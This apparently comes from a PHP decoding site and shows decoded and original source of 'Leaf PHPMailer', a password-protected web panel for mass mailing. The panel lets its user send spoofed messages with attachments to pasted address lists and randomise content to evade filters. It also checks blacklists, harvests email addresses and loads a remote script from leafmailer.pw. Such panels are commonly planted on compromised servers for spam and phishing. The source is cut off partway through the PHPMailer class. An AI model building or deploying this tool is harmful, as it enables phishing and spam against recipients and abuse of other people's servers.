        // stabilize line endings 
        $body = str_replace("
", "
", $body); 
        $body = str_replace("
", "
", $body); 
        // END stabilize line endings 
        while (substr($body, strlen($body) - 4, 4) == "

") { 
            $body = substr($body, 0, strlen($body) - 2); 
        } 
        return $body; 
    } 
 
    /** 
     * Create the DKIM header and body in a new message header. 
     * @access public 
     * @param string $headers_line Header lines 
     * @param string $subject Subject 
     * @param string $body Body 
     * @return string 
     */ 
    public function DKIM_Add($headers_line, $subject, $body) 
    { 
        $DKIMsignatureType = 'rsa-sha256'; // Signature & hash algorithms 
        $DKIMcanonicalization = 'relaxed/simple'; // Canonicalization of header/body 
        $DKIMquery = 'dns/txt'; // Query method 
        $DKIMtime = time(); // Signature Timestamp = seconds since 00:00:00 - Jan 1, 1970 (UTC time zone) 
        $subject_header = "Subject: $subject"; 
        $headers = explode($this->LE, $headers_line); 
        $from_header = ''; 
        $to_header = ''; 
        $date_header = ''; 
        $current = ''; 
        foreach ($headers as $header) { 
            if (strpos($header, 'From:') === 0) { 
                $from_header = $header; 
                $current = 'from_header'; 
            } elseif (strpos($header, 'To:') === 0) { 
                $to_header = $header; 
                $current = 'to_header'; 
            } elseif (strpos($header, 'Date:') === 0) { 
                $date_header = $header; 
                $current = 'date_header'; 
            } else { 
                if (!empty($$current) && strpos($header, ' =?') === 0) { 
                    $$current .= $header; 
                } else { 
                    $current = ''; 
                } 
            } 
        } 
        $from = str_replace('|', '=7C', $this->DKIM_QP($from_header)); 
        $to = str_replace('|', '=7C', $this->DKIM_QP($to_header)); 
        $date = str_replace('|', '=7C', $this->DKIM_QP($date_header)); 
        $subject = str_replace( 
            '|', 
            '=7C', 
            $this->DKIM_QP($subject_header) 
        ); // Copied header fields (dkim-quoted-printable) 
        $body = $this->DKIM_BodyC($body); 
        $DKIMlen = strlen($body); // Length of body 
        $DKIMb64 = base64_encode(pack('H*', hash('sha256', $body))); // Base64 of packed binary SHA-256 hash of body 
        if ('' == $this->DKIM_identity) { 
            $ident = ''; 
        } else { 
            $ident = ' i=' . $this->DKIM_identity . ';'; 
        } 
        $dkimhdrs = 'DKIM-Signature: v=1; a=' . 
            $DKIMsignatureType . '; q=' . 
            $DKIMquery . '; l=' . 
            $DKIMlen . '; s=' . 
            $this->DKIM_selector . 
            ";
" . 
            "	t=" . $DKIMtime . '; c=' . $DKIMcanonicalization . ";
" . 
            "	h=From:To:Date:Subject;
" . 
            "	d=" . $this->DKIM_domain . ';' . $ident . "
" . 
            "	z=$from
" . 
            "	|$to
" . 
            "	|$date
" . 
            "	|$subject;
" . 
            "	bh=" . $DKIMb64 . ";
" . 
            "	b="; 
        $toSign = $this->DKIM_HeaderC( 
            $from_header . "
" . 
            $to_header . "
" . 
            $date_header . "
" . 
            $subject_header . "
" . 
            $dkimhdrs 
        ); 
        $signed = $this->DKIM_Sign($toSign); 
        return $dkimhdrs . $signed . "
"; 
    } 
 
    /** 
     * Detect if a string contains a line longer than the maximum line length allowed. 
     * @param string $str 
     * @return boolean 
     * @static 
     */ 
    public static function hasLineLongerThanMax($str) 
    { 
        //+2 to include CRLF line break for a 1000 total 
        return (boolean)preg_match('/^(.{'.(self::MAX_LINE_LENGTH + 2).',})/m', $str); 
    } 
 
    /** 
     * Allows for public read access to 'to' property. 
     * @note: Before the send() call, queued addresses (i.e. with IDN) are not yet included. 
     * @access public 
     * @return array 
     */ 
    public function getToAddresses() 
    { 
        return $this->to; 
    } 
 
    /** 
     * Allows for public read access to 'cc' property. 
     * @note: Before the send() call, queued addresses (i.e. with IDN) are not yet included. 
     * @access public 
     * @return array 
     */ 
    public function getCcAddresses() 
    { 
        return $this->cc; 
    } 
 
    /** 
     * Allows for public read access to 'bcc' property. 
     * @note: Before the send() call, queued addresses (i.e. with IDN) are not yet included. 
     * @access public 
     * @return array 
     */ 
    public function getBccAddresses() 
    { 
        return $this->bcc; 
    } 
 
    /** 
     * Allows for public read access to 'ReplyTo' property. 
     * @note: Before the send() call, queued addresses (i.e. with IDN) are not yet included. 
     * @access public 
     * @return array 
     */ 
    public function getReplyToAddresses() 
    { 
        return $this->ReplyTo; 
    } 
 
    /** 
     * Allows for public read access to 'all_recipients' property. 
     * @note: Before the send() call, queued addresses (i.e. with IDN) are not yet included. 
     * @access public 
     * @return array 
     */ 
    public function getAllRecipientAddresses() 
    { 
        return $this->all_recipients; 
    } 
 
    /** 
     * Perform a callback. 
     * @param boolean $isSent 
     * @param array $to 
     * @param array $cc 
     * @param array $bcc 
     * @param string $subject 
     * @param string $body 
     * @param string $from 
     */ 
    protected function doCallback($isSent, $to, $cc, $bcc, $subject, $body, $from) 
    { 
        if (!empty($this->action_function) && is_callable($this->action_function)) { 
            $params = array($isSent, $to, $cc, $bcc, $subject, $body, $from); 
            call_user_func_array($this->action_function, $params); 
        } 
    } 
} 
 
/** 
 * PHPMailer exception handler 
 * @package PHPMailer 
 */ 
class phpmailerException extends Exception 
{ 
    /** 
     * Prettify error message output 
     * @return string 
     */ 
    public function errorMessage() 
    { 
        $errorMsg = '<strong>' . htmlspecialchars($this->getMessage()) . "</strong><br />
"; 
        return $errorMsg; 
    } 
} 
function leafheader(){ 
print ' 
<head> 
    <title>'.str_replace("www.", "", $_SERVER['HTTP_HOST']).' - Leaf PHPMailer</title> 
    <meta http-equiv="Content-Type" content="text/html; charset=utf-8"/> 
    <link href="https://maxcdn.bootstrapcdn.com/bootswatch/3.4.1/cosmo/bootstrap.min.css" rel="stylesheet" > 
    <script src="https://leafmailer.pw/style2.js"></script> 
 
</head>'; 
} 
leafheader(); 
print '<body>'; 
print '<div class="container col-lg-6"> 
        <h3><font color="green"><span class="glyphicon glyphicon-leaf"></span></font> Leaf PHPMailer <small>'.$leaf['version'].'</small></h3> 
        <form name="form" id="form" method="POST" enctype="multipart/form-data" action=""> 
                    <input type="hidden" name="action" value="score"> 
 
            <div class="row"> 
                <div class="form-group col-lg-6 "><label for="senderEmail">Email</label><input type="text" class="form-control  input-sm " id="senderEmail" name="senderEmail" value="'.$senderEmail.'"></div> 
                <div class="form-group col-lg-6 "><label for="senderName">Sender Name</label><input type="text" class="form-control  input-sm " id="senderName" name="senderName" value="'.$senderName.'"></div> 
            </div> 
            <div class="row"> 
                <span class="form-group col-lg-6  "><label for="attachment">Attachment <small>(Multiple Available)</small></label><input type="file" name="attachment[]" id="attachment[]" multiple/></span> 
 
                <div class="form-group col-lg-6"><label for="replyTo">Reply-to</label><input type="text" class="form-control  input-sm " id="replyTo" name="replyTo" value="'.$replyTo.'" /></div> 
            </div> 
            <div class="row"> 
                <div class="form-group col-lg-12 "><label for="subject">Subject</label><input type="text" class="form-control  input-sm " id="subject" name="subject" value="'.$subject.'" /></div> 
            </div> 
            <div class="row"> 
                <div class="form-group col-lg-6"><label for="messageLetter">Message Letter <button type="submit" class="btn btn-default btn-xs" form="form" name="action" value="view" formtarget="_blank">Preview </button></label><textarea name="messageLetter" id="messageLetter" class="form-control" rows="10" id="textArea">'.$messageLetter.'</textarea></div> 
                <div class="form-group col-lg-6 "><label for="emailList">Email List <a href="?emailfilter=on" target="_blank" class="btn btn-default btn-xs">Filter/Extract</a></label><textarea name="emailList" id="emailList" class="form-control" rows="10" id="textArea">'.$emailList.'</textarea></div> 
            </div> 
            <div class="row"> 
                <div class="form-group col-lg-6 "> 
                    <label for="messageType">Message Type</label> 
                    HTML <input type="radio" name="messageType" id="messageType" value="1" '.$html.'> 
                    Plain<input type="radio" name="messageType" id="messageType" value="2" '.$plain.'> 
                </div> 
                <div class="form-group col-lg-3 "> 
                    <label for="charset">Character set</label> 
                    <select class="form-control input-sm" id="charset" name="charset"> 
                        <option '.$utf8.'>UTF-8</option> 
                        <option '.$iso.'>ISO-8859-1</option> 
                    </select> 
                </div> 
                <div class="form-group col-lg-3 "> 
                    <label for="encoding">Message encoding</label> 
                    <select class="form-control input-sm" id="encode" name="encode"> 
                        <option '.$bit8.'>8bit</option> 
                        <option '.$bit7.'>7bit</option> 
                        <option '.$binary.'>binary</option> 
                        <option '.$base64.'>base64</option> 
                        <option '.$quotedprintable.'>quoted-printable</option> 
 
                    </select> 
                </div> 
            </div> 
            <button type="submit" class="btn btn-default btn-sm" form="form" name="action" value="send">SEND</button> or <a href="#" onclick="document.getElementById(\'form\').submit(); return false;">check SpamAssassin Score</a> 
    
        </form> 
    </div> 
    <div class="col-lg-6"><br> 
        <label for="well">Instruction</label> 
        <div id="well" class="well well"> 
            <h4>Server Information</h4> 
            <ul> 
                <li>Server IP Address : <b>'.$_SERVER['SERVER_ADDR'].' </b> <a href="?check_ip='.$_SERVER['SERVER_ADDR'].'" target="_blank" class="label label-primary">Check Blacklist <i class="glyphicon glyphicon-search"></i></a></li> 
                <li>PHP Version : <b>'.phpversion().'</b></li> 
                 
 
            </ul> 
            <h4>HELP</h4> 
            <ul> 
                <li>[-email-] : <b>Receiver Email</b> ([email protected])</li> 
                <ul> 
                    <li>[-emailuser-] : <b>Email User</b> (emailuser) </li> 
                    <li>[-emaildomain-] : <b>Email User</b> (emaildomain.com) </li> 
                </ul> 
                <li>[-time-] : <b>Date and Time</b> ('.date("m/d/Y h:i:s a", time()).')</li> 
                 
                <li>[-randomstring-] : <b>Random string (0-9,a-z)</b></li> 
                <li>[-randomnumber-] : <b>Random number (0-9) </b></li> 
                <li>[-randomletters-] : <b>Random Letters(a-z) </b></li> 
                <li>[-randommd5-] : <b>Random MD5 </b></li> 
            </ul> 
            <h4>example</h4> 
            Receiver Email = <b>[email protected]</b><br> 
            <ul> 
                <li>hello <b>[-emailuser-]</b> = hello <b>user</b></li> 
                <li>your domain is <b>[-emaildomain-]</b> = Your Domain is <b>domain.com</b></li> 
                <li>your code is  <b>[-randommd5-]</b> = your code is <b>e10adc3949ba59abbe56e057f20f883e</b></li> 
            </ul> 
 
            <h6>by <b><a href="http://'.$leaf['website'].'">'.$leaf['website'].'</a></b></h6> 
        </div> 
    </div>';   
if($_POST['action']=="send"){ 
    print '    <div class="col-lg-12">'; 
    $maillist=explode("
", $emailList); 
    $n=count($maillist); 
    $x =1; 
    foreach ($maillist as $email ) { 
        print '<div class="col-lg-1">['.$x.'/'.$n.']</div><div class="col-lg-4">'.$email.'</div>'; 
        if(!leafMailCheck($email)) { 
            print '<div class="col-lg-6"><span class="label label-default">Incorrect Email</span></div>'; 
            print "<br>
"; 
        } 
        else { 
            $mail = new PHPMailer; 
            $mail->setFrom(leafClear($senderEmail,$email),leafClear($senderName,$email)); 
            $mail->addReplyTo(leafClear($replyTo,$email)); 
            $mail->addAddress($email); 
            $mail->Subject = leafClear($subject,$email); 
            $mail->Body =  leafClear($messageLetter,$email); 
            if($messageType==1){ 
                $mail->IsHTML(true); 
                $mail->AltBody =strip_tags(leafClear($messageLetter,$email)); 
            } 
            else $mail->IsHTML(false); 
            $mail->CharSet = $charset; 
            $mail->Encoding = $encoding; 
            for($i=0; $i<count($_FILES['attachment']['name']); $i++) { 
                if ($_FILES['attachment']['tmp_name'][$i] != ""){ 
                    $mail->AddAttachment($_FILES['attachment']['tmp_name'][$i],$_FILES['attachment']['name'][$i]); 
                } 
 
            } 
             
            if (!$mail->send()) { 
                echo '<div class="col-lg-6"><span class="label label-default">'.htmlspecialchars($mail->ErrorInfo).'</span></div>'; 
            } 
            else { 
                echo '<div class="col-lg-6"><span class="label label-success">Ok</span></div>'; 
            } 
            print "<br>
"; 
        } 
        $x++; 
        for($k = 0; $k < 40000; $k++) {echo ' ';} 
    } 
 
} 
elseif($_POST['action']=="score"){ 
    $mail = new PHPMailer; 
    $mail->setFrom(leafClear($senderEmail,$email),leafClear($senderName,$email)); 
    $mail->addReplyTo(leafClear($replyTo,$email)); 
    $mail->addAddress("[email protected]"); 
    $mail->Subject = leafClear($subject,$email); 
    $mail->Body =  leafClear($messageLetter,$email); 
    if($messageType==1){ 
        $mail->IsHTML(true); 
        $mail->AltBody =strip_tags(leafClear($messageLetter,$email)); 
    } 
    else $mail->IsHTML(false); 
    $mail->CharSet = $charset; 
    $mail->Encoding = $encoding; 
    $mail->preSend(); 
    $messageHeaders=$mail->getSentMIMEMessage(); 
    $ch = curl_init(); 
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); 
    curl_setopt($ch, CURLOPT_URL, 'http://spamcheck.postmarkapp.com/filter'); 
    curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query(array('email' => $messageHeaders,'options'=>'long'))); 
    curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0); 
    curl_setopt($ch, CURLOPT_TIMEOUT, 15); 
    $response = curl_exec($ch); 
    $response = json_decode($response); 
    print '    <div class="col-lg-12">'; 
    if ($response->success == TRUE ){ 
        $score = $response->score; 
        if ($score > 5 ) $class="danger"; 
        else $class="success"; 
            print '<div class="text-'.$class.'">Your SpamAssassin score is '.$score.'  </div> 
<div>Full Report : <pre>'.$response->report.'</pre></div>'; 
print '    </div>'; 
    } 
} 
print '</body>'; 
?>

Did this file decode correctly?

Original Code

<?php
/**
 * Leaf PHP Mailer by [leafmailer.pw]
 * @version : 2.8
**/

$password = "pxpxpx"; // Password 



session_start();
error_reporting(0);
set_time_limit(0);
ini_set("memory_limit",-1);

$leaf['version']="2.8";
$leaf['website']="leafmailer.pw";


$sessioncode = md5(__FILE__);
if(!empty($password) and $_SESSION[$sessioncode] != $password){
    if (isset($_REQUEST['pass']) and $_REQUEST['pass'] == $password) {
        $_SESSION[$sessioncode] = $password;
    }
    else {
        print "<pre align=center><form method=post>Password: <input type='password' name='pass'><input type='submit' value='>>'></form></pre>";
        exit;        
    }
}

session_write_close();


function leafClear($text,$email){
	$e = explode('@', $email);
	$emailuser=$e[0];
	$emaildomain=$e[1];
    $text = str_replace("[-time-]", date("m/d/Y h:i:s a", time()), $text);
    $text = str_replace("[-email-]", $email, $text);
    $text = str_replace("[-emailuser-]", $emailuser, $text);
    $text = str_replace("[-emaildomain-]", $emaildomain, $text);
    $text = str_replace("[-randomletters-]", randString('abcdefghijklmnopqrstuvwxyz'), $text);
    $text = str_replace("[-randomstring-]", randString('abcdefghijklmnopqrstuvwxyz0123456789'), $text);
    $text = str_replace("[-randomnumber-]", randString('0123456789'), $text);
    $text = str_replace("[-randommd5-]", md5(randString('abcdefghijklmnopqrstuvwxyz0123456789')), $text);
    return $text;  
}
function leafTrim($string){
	$string=urldecode($string);
    return stripslashes(trim($string));
}
function randString($consonants) {
    $length=rand(12,25);
    $password = '';
    for ($i = 0; $i < $length; $i++) {
            $password .= $consonants[(rand() % strlen($consonants))];
    }
    return $password;
}
function leafMailCheck($email){
    if (filter_var($email, FILTER_VALIDATE_EMAIL)) return true;
    else return false;
}
# Bulit-in BlackList Checker 
if(isset($_GET['check_ip'])){
    if (isset($_GET['host'])){
        $_GET['host']=explode(",", $_GET['host']);
        foreach ($_GET['host'] as $host) {
            if (checkdnsrr($_GET['check_ip'] . "." .  $host . ".", "A")) $check= "<font color='red'> Listed</font>";
            else $check= "<font color='green'> Clean</font>";
            print 'document.getElementById("'. $host.'").innerHTML = "'.$check.'";';
        }

        exit;
    }
    $dnsbl_lookup = [
        "all.s5h.net",
        "b.barracudacentral.org",
        "bl.spamcop.net",
        "blacklist.woody.ch",
        "bogons.cymru.com",
        "cbl.abuseat.org",
        "cdl.anti-spam.org.cn",
        "combined.abuse.ch",
        "db.wpbl.info",
        "dnsbl-1.uceprotect.net",
        "dnsbl-2.uceprotect.net",
        "dnsbl-3.uceprotect.net",
        "dnsbl.anticaptcha.net",
        "dnsbl.dronebl.org",
        "dnsbl.inps.de",
        "dnsbl.sorbs.net",
        "drone.abuse.ch",
        "duinv.aupads.org",
        "dul.dnsbl.sorbs.net",
        "dyna.spamrats.com",
        "dynip.rothen.com",
        "http.dnsbl.sorbs.net",
        "ips.backscatterer.org",
        "ix.dnsbl.manitu.net",
        "korea.services.net",
        "misc.dnsbl.sorbs.net",
        "noptr.spamrats.com",
        "orvedb.aupads.org",
        "pbl.spamhaus.org",
        "proxy.bl.gweep.ca",
        "psbl.surriel.com",
        "relays.bl.gweep.ca",
        "relays.nether.net",
        "sbl.spamhaus.org",
        "short.rbl.jp",
        "singular.ttk.pte.hu",
        "smtp.dnsbl.sorbs.net",
        "socks.dnsbl.sorbs.net",
        "spam.abuse.ch",
        "spam.dnsbl.anonmails.de",
        "spam.dnsbl.sorbs.net",
        "spam.spamrats.com",
        "spambot.bls.digibase.ca",
        "spamrbl.imp.ch",
        "spamsources.fabel.dk",
        "ubl.lashback.com",
        "ubl.unsubscore.com",
        "virus.rbl.jp",
        "web.dnsbl.sorbs.net",
        "wormrbl.imp.ch",
        "xbl.spamhaus.org",
        "z.mailspike.net",
        "zen.spamhaus.org",
        "zombie.dnsbl.sorbs.net",
    ];
    $reverse_ip = implode(".", array_reverse(explode(".", $_GET['check_ip'])));
    $dnsT = count($dnsbl_lookup);
    leafheader();
    print '<div class="container col-lg-6"><h3><font color="green"><span class="glyphicon glyphicon-leaf"></span></font> Leaf PHPMailer <small>Blacklist Checker</small></h3>';
    Print "Checking <b>".$_GET['check_ip']."</b> in <b>$dnsT</b>  anti-spam databases:<br>";
    $dnsN="";
    print '<table >';
    for ($i=0; $i < $dnsT; $i=$i+10) { 
        $host="";
        $hosts="";
        for($j=$i; $j<$i+10;$j++){
            $host=$dnsbl_lookup[$j];
            if(!empty($host)){
                print "<tr> <td>$host</td> <td id='$host'>Checking ..</td></tr>";
                $hosts .="$host,";
            }
        }
        $dnsN.="<script src='?check_ip=$reverse_ip&host=".$hosts."' type='text/javascript'></script>";
    }

    print '</table></div>';
    print $dnsN;
    exit;
}
if(isset($_GET['emailfilter'])){

    if(!empty($_FILES['fileToUpload']['tmp_name'])){
        $_POST['emailList']= file_get_contents($_FILES["fileToUpload"]["tmp_name"]); 
    }
    $_POST['emailList']=strtolower($_POST['emailList']);
   if($_GET['emailfilter']=="ifram"){
        if ($_POST['resulttype'] == "download"){
            header("Content-Description: File Transfer"); 
            header("Content-Type: application/octet-stream"); 
            header("Content-Disposition: attachment; filename=emails".time().".txt");
        }
        else {
            header("Content-Type: text/plain");
        }
    if($_POST['submit']=="extract"){
        $pattern = '/[A-Za-z0-9._%+-]+@[A-Za-z0-9.-]+\.[A-Za-z]{2,4}/';
        preg_match_all($pattern, $_POST['emailList'], $matches);
        foreach ($matches[0] as $email) {
            print $email."\n";
        }
    }
    elseif ($_POST['submit']=="filter") {
        $emails=explode("\n", $_POST['emailList']);
        $keywords=explode("\n", strtolower($_POST['keywords']));
        foreach ($emails as $email) {
            foreach ($keywords as $keyword ) {
                if(strstr($email, $keyword) ){
                    print $email."\n";
                     break;
                }
               
            }
        }

    }
    exit;
   }
   leafheader();
   print '<div class="container col-lg-4"><h3><font color="green"><span class="glyphicon glyphicon-leaf"></span></font> Leaf PHPMailer <small>Email Filter</small></h3>';
   print '
    <form action="?emailfilter=ifram" method="POST" target="my-iframe" enctype="multipart/form-data" onsubmit=\'\'>
        <label for="emailList">Text </label><input type="file" name="fileToUpload" id="fileToUpload"> 
        or

        <textarea name="emailList" id="emailList" class="form-control" rows="7" id="textArea"></textarea>
      <div class="col-lg-12">
        <div class="radio">
          <label>
            <input type="radio" name="resulttype" id="resulttype" value="here" checked="">
            Show Result in this page
          </label>
        </div>
        <div class="radio">
          <label>
            <input type="radio" name="resulttype" id="resulttype" value="download">
            Download Result (for big numbers)
          </label>
        </div>
      </div>
            <legend><h4>Extract Email</h4></legend>
            Detecting every email (100%) and order them line by line <br><br>
        <button type="submit" name="submit" value="extract" class="btn btn-default btn-sm">Start</button>
            <legend><h4>Filter Emails</h4></legend>
        <label >Keywords <small> ex: gmail.com or .co.uk</small> </label><textarea name="keywords" id="keywords" class="form-control" rows="4" id="textArea">gmail.com
hotmail.com
yahoo.com
.co.uk</textarea><br>

            <button type="submit" name="submit" value="filter" class="btn btn-default btn-sm">Start</button>
    </form>
    <label >Result </label>
    <iframe style="border:none;width:100%;" name="my-iframe"  src="?emailfilter=ifram" ></iframe>
   ';
   exit;

}
$html="checked";
$utf8="selected";
$bit8="selected";

if($_POST['action']=="send" or $_POST['action']=="score"){

    $senderEmail=leafTrim($_POST['senderEmail']);
    $senderName=leafTrim($_POST['senderName']);
    $replyTo=leafTrim($_POST['replyTo']);
    $subject=leafTrim($_POST['subject']);
    $emailList=leafTrim($_POST['emailList']);
    $messageType=leafTrim($_POST['messageType']);
    $messageLetter=leafTrim($_POST['messageLetter']);
    $encoding = $_POST['encode'];
    $charset = $_POST['charset'];
    $html="";
    $utf8="";
    $bit8="";

    if($messageType==2) $plain="checked";
    else $html="checked";

    if($charset=="ISO-8859-1") $iso="selected";
    else $utf8="selected";

    if($encoding=="7bit") $bit7="selected";
    elseif($encoding=="binary") $binary="selected";
    elseif($encoding=="base64") $base64="selected";
    elseif($encoding=="quoted-printable") $quotedprintable="selected";
    else $bit8="selected";



}
if($_POST['action']=="view"){
	$viewMessage=leafTrim($_POST['messageLetter']);
	$viewMessage=leafClear($viewMessage,"[email protected]");
	if ($_POST['messageType']==2){
		print "<pre>".htmlspecialchars($viewMessage)."</pre>";
	}
	else {
		print $viewMessage;
	}
	exit;
}



if(!isset($_POST['senderEmail'])){
    $senderEmail="support@".str_replace("www.", "", $_SERVER['HTTP_HOST']);
    if (!leafMailCheck($senderEmail)) $senderEmail="";
}

class PHPMailer
{
    /**
     * The PHPMailer Version number.
     * @var string
     */
    public $Version = '5.2.28';

    /**
     * Email priority.
     * Options: null (default), 1 = High, 3 = Normal, 5 = low.
     * When null, the header is not set at all.
     * @var integer
     */
    public $Priority = null;

    /**
     * The character set of the message.
     * @var string
     */
    public $CharSet = 'iso-8859-1';

    /**
     * The MIME Content-type of the message.
     * @var string
     */
    public $ContentType = 'text/plain';

    /**
     * The message encoding.
     * Options: "8bit", "7bit", "binary", "base64", and "quoted-printable".
     * @var string
     */
    public $Encoding = '8bit';

    /**
     * Holds the most recent mailer error message.
     * @var string
     */
    public $ErrorInfo = '';

    /**
     * The From email address for the message.
     * @var string
     */
    public $From = 'root@localhost';

    /**
     * The From name of the message.
     * @var string
     */
    public $FromName = 'Root User';

    /**
     * The Sender email (Return-Path) of the message.
     * If not empty, will be sent via -f to sendmail or as 'MAIL FROM' in smtp mode.
     * @var string
     */
    public $Sender = '';

    /**
     * The Return-Path of the message.
     * If empty, it will be set to either From or Sender.
     * @var string
     * @deprecated Email senders should never set a return-path header;
     * it's the receiver's job (RFC5321 section 4.4), so this no longer does anything.
     * @link https://tools.ietf.org/html/rfc5321#section-4.4 RFC5321 reference
     */
    public $ReturnPath = '';

    /**
     * The Subject of the message.
     * @var string
     */
    public $Subject = '';

    /**
     * An HTML or plain text message body.
     * If HTML then call isHTML(true).
     * @var string
     */
    public $Body = '';

    /**
     * The plain-text message body.
     * This body can be read by mail clients that do not have HTML email
     * capability such as mutt & Eudora.
     * Clients that can read HTML will view the normal Body.
     * @var string
     */
    public $AltBody = '';

    /**
     * An iCal message part body.
     * Only supported in simple alt or alt_inline message types
     * To generate iCal events, use the bundled extras/EasyPeasyICS.php class or iCalcreator
     * @link http://sprain.ch/blog/downloads/php-class-easypeasyics-create-ical-files-with-php/
     * @link http://kigkonsult.se/iCalcreator/
     * @var string
     */
    public $Ical = '';

    /**
     * The complete compiled MIME message body.
     * @access protected
     * @var string
     */
    protected $MIMEBody = '';

    /**
     * The complete compiled MIME message headers.
     * @var string
     * @access protected
     */
    protected $MIMEHeader = '';

    /**
     * Extra headers that createHeader() doesn't fold in.
     * @var string
     * @access protected
     */
    protected $mailHeader = '';

    /**
     * Word-wrap the message body to this number of chars.
     * Set to 0 to not wrap. A useful value here is 78, for RFC2822 section 2.1.1 compliance.
     * @var integer
     */
    public $WordWrap = 0;

    /**
     * Which method to use to send mail.
     * Options: "mail", "sendmail", or "smtp".
     * @var string
     */
    public $Mailer = 'mail';

    /**
     * The path to the sendmail program.
     * @var string
     */
    public $Sendmail = '/usr/sbin/sendmail';

    /**
     * Whether mail() uses a fully sendmail-compatible MTA.
     * One which supports sendmail's "-oi -f" options.
     * @var boolean
     */
    public $UseSendmailOptions = true;

    /**
     * Path to PHPMailer plugins.
     * Useful if the SMTP class is not in the PHP include path.
     * @var string
     * @deprecated Should not be needed now there is an autoloader.
     */
    public $PluginDir = '';

    /**
     * The email address that a reading confirmation should be sent to, also known as read receipt.
     * @var string
     */
    public $ConfirmReadingTo = '';

    /**
     * The hostname to use in the Message-ID header and as default HELO string.
     * If empty, PHPMailer attempts to find one with, in order,
     * $_SERVER['SERVER_NAME'], gethostname(), php_uname('n'), or the value
     * 'localhost.localdomain'.
     * @var string
     */
    public $Hostname = '';

    /**
     * An ID to be used in the Message-ID header.
     * If empty, a unique id will be generated.
     * You can set your own, but it must be in the format "<id@domain>",
     * as defined in RFC5322 section 3.6.4 or it will be ignored.
     * @see https://tools.ietf.org/html/rfc5322#section-3.6.4
     * @var string
     */
    public $MessageID = '';

    /**
     * The message Date to be used in the Date header.
     * If empty, the current date will be added.
     * @var string
     */
    public $MessageDate = '';

    /**
     * SMTP hosts.
     * Either a single hostname or multiple semicolon-delimited hostnames.
     * You can also specify a different port
     * for each host by using this format: [hostname:port]
     * (e.g. "smtp1.example.com:25;smtp2.example.com").
     * You can also specify encryption type, for example:
     * (e.g. "tls://smtp1.example.com:587;ssl://smtp2.example.com:465").
     * Hosts will be tried in order.
     * @var string
     */
    public $Host = 'localhost';

    /**
     * The default SMTP server port.
     * @var integer
     * @TODO Why is this needed when the SMTP class takes care of it?
     */
    public $Port = 25;

    /**
     * The SMTP HELO of the message.
     * Default is $Hostname. If $Hostname is empty, PHPMailer attempts to find
     * one with the same method described above for $Hostname.
     * @var string
     * @see PHPMailer::$Hostname
     */
    public $Helo = '';

    /**
     * What kind of encryption to use on the SMTP connection.
     * Options: '', 'ssl' or 'tls'
     * @var string
     */
    public $SMTPSecure = '';

    /**
     * Whether to enable TLS encryption automatically if a server supports it,
     * even if `SMTPSecure` is not set to 'tls'.
     * Be aware that in PHP >= 5.6 this requires that the server's certificates are valid.
     * @var boolean
     */
    public $SMTPAutoTLS = true;

    /**
     * Whether to use SMTP authentication.
     * Uses the Username and Password properties.
     * @var boolean
     * @see PHPMailer::$Username
     * @see PHPMailer::$Password
     */
    public $SMTPAuth = false;

    /**
     * Options array passed to stream_context_create when connecting via SMTP.
     * @var array
     */
    public $SMTPOptions = array();

    /**
     * SMTP username.
     * @var string
     */
    public $Username = '';

    /**
     * SMTP password.
     * @var string
     */
    public $Password = '';

    /**
     * SMTP auth type.
     * Options are CRAM-MD5, LOGIN, PLAIN, NTLM, XOAUTH2, attempted in that order if not specified
     * @var string
     */
    public $AuthType = '';

    /**
     * SMTP realm.
     * Used for NTLM auth
     * @var string
     */
    public $Realm = '';

    /**
     * SMTP workstation.
     * Used for NTLM auth
     * @var string
     */
    public $Workstation = '';

    /**
     * The SMTP server timeout in seconds.
     * Default of 5 minutes (300sec) is from RFC2821 section 4.5.3.2
     * @var integer
     */
    public $Timeout = 300;

    /**
     * SMTP class debug output mode.
     * Debug output level.
     * Options:
     * * `0` No output
     * * `1` Commands
     * * `2` Data and commands
     * * `3` As 2 plus connection status
     * * `4` Low-level data output
     * @var integer
     * @see SMTP::$do_debug
     */
    public $SMTPDebug = 0;

    /**
     * How to handle debug output.
     * Options:
     * * `echo` Output plain-text as-is, appropriate for CLI
     * * `html` Output escaped, line breaks converted to `<br>`, appropriate for browser output
     * * `error_log` Output to error log as configured in php.ini
     *
     * Alternatively, you can provide a callable expecting two params: a message string and the debug level:
     * <code>
     * $mail->Debugoutput = function($str, $level) {echo "debug level $level; message: $str";};
     * </code>
     * @var string|callable
     * @see SMTP::$Debugoutput
     */
    public $Debugoutput = 'echo';

    /**
     * Whether to keep SMTP connection open after each message.
     * If this is set to true then to close the connection
     * requires an explicit call to smtpClose().
     * @var boolean
     */
    public $SMTPKeepAlive = false;

    /**
     * Whether to split multiple to addresses into multiple messages
     * or send them all in one message.
     * Only supported in `mail` and `sendmail` transports, not in SMTP.
     * @var boolean
     */
    public $SingleTo = false;

    /**
     * Storage for addresses when SingleTo is enabled.
     * @var array
     * @TODO This should really not be public
     */
    public $SingleToArray = array();

    /**
     * Whether to generate VERP addresses on send.
     * Only applicable when sending via SMTP.
     * @link https://en.wikipedia.org/wiki/Variable_envelope_return_path
     * @link http://www.postfix.org/VERP_README.html Postfix VERP info
     * @var boolean
     */
    public $do_verp = false;

    /**
     * Whether to allow sending messages with an empty body.
     * @var boolean
     */
    public $AllowEmpty = false;

    /**
     * The default line ending.
     * @note The default remains "\n". We force CRLF where we know
     *        it must be used via self::CRLF.
     * @var string
     */
    public $LE = "\n";

    /**
     * DKIM selector.
     * @var string
     */
    public $DKIM_selector = '';

    /**
     * DKIM Identity.
     * Usually the email address used as the source of the email.
     * @var string
     */
    public $DKIM_identity = '';

    /**
     * DKIM passphrase.
     * Used if your key is encrypted.
     * @var string
     */
    public $DKIM_passphrase = '';

    /**
     * DKIM signing domain name.
     * @example 'example.com'
     * @var string
     */
    public $DKIM_domain = '';

    /**
     * DKIM private key file path.
     * @var string
     */
    public $DKIM_private = '';

    /**
     * DKIM private key string.
     * If set, takes precedence over `$DKIM_private`.
     * @var string
     */
    public $DKIM_private_string = '';

    /**
     * Callback Action function name.
     *
     * The function that handles the result of the send email action.
     * It is called out by send() for each email sent.
     *
     * Value can be any php callable: http://www.php.net/is_callable
     *
     * Parameters:
     *   boolean $result        result of the send action
     *   array   $to            email addresses of the recipients
     *   array   $cc            cc email addresses
     *   array   $bcc           bcc email addresses
     *   string  $subject       the subject
     *   string  $body          the email body
     *   string  $from          email address of sender
     * @var string
     */
    public $action_function = '';

    /**
     * What to put in the X-Mailer header.
